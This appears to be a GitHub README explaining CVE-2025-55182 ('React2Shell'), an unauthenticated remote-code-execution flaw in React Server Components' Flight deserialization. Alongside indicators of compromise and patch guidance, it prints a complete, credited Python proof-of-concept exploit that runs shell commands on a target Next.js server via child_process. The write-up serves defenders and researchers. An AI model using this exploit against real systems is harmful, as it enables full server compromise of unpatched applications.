Skip to content

AdityaBhatt3010/React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 

Repository files navigation

React2Shell (CVE-2025-55182): The Deserialization Bug That Broke the Web

React2Shell, CVE-2025-55182, RCE Vulnerability: A critical breakdown of the unsafe deserialization flaw in React Server Components that enables unauthenticated remote code execution across default React/Next.js setups.

TL;DR

React2Shell (CVE-2025-55182) is a critical Remote Code Execution (RCE) vulnerability affecting React Server Components (RSC) in React 19.x and frameworks like Next.js. The flaw lies in unsafe deserialization of “Flight” protocol chunks, allowing attackers to inject malicious structures that resolve into the Function constructor, resulting in arbitrary JavaScript execution on the server.

  • Works on default configurations
  • Requires no authentication
  • Exploits standard multipart/form-data requests
  • Leads to full server takeover
  • Public PoC exists (credited below)
  • Mitigation: Update to React 19.2.1+ / Next.js patched versions

React2Shell


👋 Introduction

React Server Components were introduced to bridge client/server rendering with a more seamless, composable workflow. To do this, React uses a custom binary-ish serialization channel called the Flight protocol.

Unfortunately, this protocol’s deserialization logic contained a subtle flaw that allowed attackers to smuggle malicious payloads deep into React’s runtime.

The result? A complete, unauthenticated remote code execution chain, now dubbed React2Shell — and yes, its impact is comparable to Log4Shell in scale and accessibility. 🔥

This article breaks down the vulnerability in a clean, actionable format — ideal for VAPT practitioners, researchers, and defenders.


🧠 The Vulnerability Explained (React2Shell in Plain English)

🧩 1. How React’s Flight Protocol Works

RSC communicates with the client by sending serialized “chunks” that represent references, objects, component metadata, async boundaries, etc.

When these chunks arrive on the server or client, React deserializes them back into objects and functions.

This process assumes the data structure is safe. This is where things broke.


💥 2. The Core Flaw: Unsafe Deserialization → Function Constructor → RCE

Attackers found a way to craft malicious chunks containing:

  • Prototype accessors
  • Fake promise-like objects (thenables)
  • Keys referencing the prototype chain
  • Paths that ultimately expose the Function constructor

Example pattern:

"$then": { "constructor": { "prototype": null } }

During deserialization, React interprets this object as a thenable and calls:

promise.then(...)

But here, then is actually the Function constructor, so the call becomes:

(new Function("malicious_payload"))();

This results in arbitrary JavaScript execution within the Node.js environment running React Server Components.

Boom — you have RCE.


🚨 3. Why It's So Dangerous

  • No authentication required
  • Works on default Next.js apps
  • No special configuration or flag needed
  • Simple HTTP POST request
  • Leads to full compromise: file write, process spawn, lateral movement

This is why cloud vendors, security teams, and CERTs reacted instantly once this went public.


🚨 Indicators of Compromise (IoCs)

📡 Network IoCs

  • Multipart POST requests to:

    • /react
    • /rsc
    • /server, /flight, /server-actions
  • Payloads containing keys like:

    • $then
    • $proto
    • $constructor
    • $type

🖥️ Host-Level IoCs

  • Suspicious Node.js executions such as:

    node -e "<payload>"
    
  • Unexpected files under:

    • /tmp/react-rce-*
    • /var/tmp/node-rce-*

🧭 Behavioral IoCs

  • Hydration mismatch logs preceding execution anomalies
  • Sudden outbound connections to suspicious IPs
  • Crashes in RSC deserialization handlers
  • Unusual or malformed Flight chunks returned by the server

🧪 PoC

⚠️ Important Note
I do not own this PoC.
It is referenced from the following public repository, with full credit to the author:

👉 https://github.com/msanft/CVE-2025-55182

⚠️ Disclaimer:

The following Proof-of-Concept (PoC) is provided strictly for educational and defensive cybersecurity research.
It must be executed only in isolated lab environments or on systems where you have explicit authorization to test.

Misuse of this code for unauthorized access, exploitation, or system compromise is illegal, unethical, and punishable under cybersecurity laws.
Proceed responsibly. 🛡️💻

Below is the full PoC:

# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

⚠️ Disclaimer:

If you executed this PoC, ensure you did so in a controlled sandbox and not on any production or third-party assets.

This demonstration exists solely to help analysts, developers, and defenders understand, detect, and mitigate CVE-2025-55182 (React2Shell).
Any malicious or unauthorized use of this information is strictly prohibited and is not endorsed by the author.

Stay ethical. Stay secure. 🐉🔥


🛡️ Mitigation & Defense Strategy

✅ 1. Upgrade Immediately

  • React → 19.2.1+
  • Next.js → patched versions released by Vercel
  • Other RSC-enabled frameworks → apply vendor patches

🔐 2. Short-Term Hardening

  • Add WAF signatures for RSC deserialization patterns
  • Block suspicious multipart POST traffic
  • Restrict public access to server-action endpoints
  • Disable experimental RSC features if not required
  • Enforce strict inbound request validation

🧱 3. Defense in Depth

  • Use Node.js runtime sandboxing
  • Enable outbound network restrictions
  • Audit for unexpected server-side code execution
  • Add anomaly detection to logs and build pipelines

👋 Outro — Stay Curious, Stay Secure 🔥

React2Shell is a powerful reminder that serialization layers, however elegant, remain one of the most dangerous components in modern frameworks. The moment arbitrary objects touch the runtime without validation, the chain to RCE becomes painfully short.

Thanks for reading — and as always, keep hacking ethically, keep learning constantly, and keep that security fire burning. 🔥🐉


Follow Me & Connect

If you enjoyed this write-up or want to stay connected with my cybersecurity research:

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010


About

React2Shell, CVE-2025-55182, RCE Vulnerability: A critical breakdown of the unsafe deserialization flaw in React Server Components that enables unauthenticated remote code execution across default React/Next.js setups.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages